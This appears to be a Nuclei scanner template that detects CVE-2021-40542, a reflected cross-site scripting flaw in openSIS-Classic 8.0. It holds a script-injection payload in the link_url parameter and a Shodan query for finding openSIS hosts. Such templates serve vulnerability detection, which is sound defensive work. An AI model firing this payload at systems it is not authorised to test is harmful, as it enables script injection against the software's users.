51 lines
1.6 KiB
YAML
51 lines
1.6 KiB
YAML
id: CVE-2021-40542
|
|
|
|
info:
|
|
name: Opensis-Classic 8.0 - Cross-Site Scripting
|
|
author: alph4byt3
|
|
severity: medium
|
|
description: |
|
|
Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
|
|
remediation: |
|
|
To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
|
|
reference:
|
|
- https://github.com/OS4ED/openSIS-Classic/issues/189
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40542
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-40542
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00643
|
|
epss-percentile: 0.76936
|
|
cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: os4ed
|
|
product: opensis
|
|
shodan-query: http.title:"openSIS"
|
|
tags: xss,cve,cve2021,opensis
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100e440587969fd4d90498d8f908b2d8bd3c91ed5f96c91ba01c5dc06574b44b168022100cccaf641267370bddf6bf24a84fbdac71049be1435cbcf67a57845721b07b6db:922c64590222798bb761d5b6d8e72950
|